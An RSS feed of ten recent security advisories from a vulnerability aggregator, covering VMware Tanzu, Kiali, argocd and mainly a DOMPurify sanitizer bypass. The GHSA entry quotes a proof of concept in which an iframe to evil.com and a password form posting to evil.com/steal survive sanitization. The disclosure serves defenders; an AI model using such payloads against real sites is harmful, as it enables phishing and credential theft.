<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 14:54:22 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-10862</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-10862</link>
      <description>bdu:2026-10862</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-10862</guid>
    </item>
    <item>
      <title>certfr-2026-avi-0500 — De multiples vulnérabilités ont été découvertes dans VMware Tanzu. Elles permettent à un attaquant de provoquer un prob…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2026-avi-0500</link>
      <description>certfr-2026-avi-0500</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2026-avi-0500</guid>
    </item>
    <item>
      <title>Withdrawn: CLEANSTART-2026-BE61221 — Security fixes for CVE-2025-62718, CVE-2025-69873, CVE-2026-29045, CVE-2026-29085, CVE-2026-29086, CVE-2026-29087, CVE-…</title>
      <link>https://cve.radiocsirt.org/vuln/cleanstart-2026-be61221</link>
      <description>&lt;p&gt;&lt;strong&gt;Withdrawn by the publisher.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: opensearch-dashboards-fips&lt;/p&gt;
&lt;p&gt;Multiple security vulnerabilities affect the opensearch-dashboards-fips package. These issues are resolved in later releases. See references for individual vulnerability details.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Withdrawn by the publisher.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; CleanStart: opensearch-dashboards-fips&lt;/p&gt;
&lt;p&gt;Multiple security vulnerabilities affect the opensearch-dashboards-fips package. These issues are resolved in later releases. See references for individual vulnerability details.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cleanstart-2026-be61221</guid>
    </item>
    <item>
      <title>EUVD-2026-292798</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-292798</link>
      <description>EUVD-2026-292798</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-292798</guid>
    </item>
    <item>
      <title>fkie_cve-2026-41240</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-41240</link>
      <description>&lt;p&gt;DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-41240</guid>
    </item>
    <item>
      <title>GHSA-h7mw-gpvr-xq4m — DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-h7mw-gpvr-xq4m</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: dompurify&lt;/p&gt;
&lt;p&gt;There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.&lt;/p&gt;
&lt;p&gt;Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:&lt;/p&gt;
&lt;p&gt;/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }&lt;/p&gt;
&lt;p&gt;The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:&lt;/p&gt;
&lt;p&gt;if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &amp;amp;&amp;amp;
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -&amp;gt; short-circuits
      ) &amp;amp;&amp;amp;
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {&lt;/p&gt;
&lt;p&gt;This allows forbidden elements to survive sanitization with their attributes intact.&lt;/p&gt;
&lt;p&gt;PoC (tested against current HEAD in Node.js + jsdom):&lt;/p&gt;
&lt;p&gt;const DOMPurify = createDOMPurify(window);&lt;/p&gt;
&lt;p&gt;DOMPurify.sanitize(
      &amp;#39;&amp;lt;iframe src=&amp;#34;https://evil.com&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;#39;,
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: [&amp;#39;iframe&amp;#39;]
      }
    );
    // Returns: &amp;#39;&amp;lt;iframe src=&amp;#34;https://evil.com&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;#39;
    // Expected: &amp;#39;&amp;#39; (iframe forbidden)&lt;/p&gt;
&lt;p&gt;DOMPurify.sanitize(
      &amp;#39;&amp;lt;form action=&amp;#34;https://evil.com/steal&amp;#34;&amp;gt;&amp;lt;input name=password&amp;gt;&amp;lt;/form&amp;gt;&amp;#39;,
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: [&amp;#39;form&amp;#39;]
      }…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: dompurify&lt;/p&gt;
&lt;p&gt;There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.&lt;/p&gt;
&lt;p&gt;Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:&lt;/p&gt;
&lt;p&gt;/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
    if (FORBID_ATTR[lcName]) {
      return false;
    }&lt;/p&gt;
&lt;p&gt;The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:&lt;/p&gt;
&lt;p&gt;if (
      !(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &amp;amp;&amp;amp;
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -&amp;gt; short-circuits
      ) &amp;amp;&amp;amp;
      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
    ) {&lt;/p&gt;
&lt;p&gt;This allows forbidden elements to survive sanitization with their attributes intact.&lt;/p&gt;
&lt;p&gt;PoC (tested against current HEAD in Node.js + jsdom):&lt;/p&gt;
&lt;p&gt;const DOMPurify = createDOMPurify(window);&lt;/p&gt;
&lt;p&gt;DOMPurify.sanitize(
      &amp;#39;&amp;lt;iframe src=&amp;#34;https://evil.com&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;#39;,
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: [&amp;#39;iframe&amp;#39;]
      }
    );
    // Returns: &amp;#39;&amp;lt;iframe src=&amp;#34;https://evil.com&amp;#34;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;#39;
    // Expected: &amp;#39;&amp;#39; (iframe forbidden)&lt;/p&gt;
&lt;p&gt;DOMPurify.sanitize(
      &amp;#39;&amp;lt;form action=&amp;#34;https://evil.com/steal&amp;#34;&amp;gt;&amp;lt;input name=password&amp;gt;&amp;lt;/form&amp;gt;&amp;#39;,
      {
        ADD_TAGS: function(tag) { return true; },
        FORBID_TAGS: [&amp;#39;form&amp;#39;]
      }…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-h7mw-gpvr-xq4m</guid>
    </item>
    <item>
      <title>openSUSE-SU-2026:10888-1 — argocd-cli-3.4.3-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2026:10888-1</link>
      <description>&lt;p&gt;argocd-cli-3.4.3-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;argocd-cli-3.4.3-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2026:10888-1</guid>
    </item>
    <item>
      <title>RHSA-2026:16476 — Red Hat Security Advisory: Kiali 1.73.30 for Red Hat OpenShift Service Mesh 2.6</title>
      <link>https://cve.radiocsirt.org/vuln/rhsa-2026:16476</link>
      <description>&lt;p&gt;crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building follow-redirects: follow-redirects: Information disclosure via cross-domain redirects DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization axios: Axios: HTTP Transport Hijacking via Prototype Pollution axios: Axios: Arbitrary HTTP header injection via prototype pollution axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling axios: Axios: NO_PROXY bypass via crafted URL&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building follow-redirects: follow-redirects: Information disclosure via cross-domain redirects DOMPurify: DOMPurify: Cross-Site Scripting (XSS) via inconsistent tag sanitization axios: Axios: HTTP Transport Hijacking via Prototype Pollution axios: Axios: Arbitrary HTTP header injection via prototype pollution axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling axios: Axios: NO_PROXY bypass via crafted URL&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/rhsa-2026:16476</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-41240</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-41240</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-dompurify, Ubuntu:24.04:LTS: node-dompurify, Ubuntu:25.10: node-dompurify, Ubuntu:26.04:LTS: node-dompurify&lt;/p&gt;
&lt;p&gt;DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: node-dompurify, Ubuntu:24.04:LTS: node-dompurify, Ubuntu:25.10: node-dompurify, Ubuntu:26.04:LTS: node-dompurify&lt;/p&gt;
&lt;p&gt;DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit c361baa added an early exit for FORBID_ATTR at line 1214. The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-41240</guid>
    </item>
    <item>
      <title>WID-SEC-W-2026-1407 — IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen</title>
      <link>https://cve.radiocsirt.org/vuln/wid-sec-w-2026-1407</link>
      <description>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/wid-sec-w-2026-1407</guid>
    </item>
  </channel>
</rss>
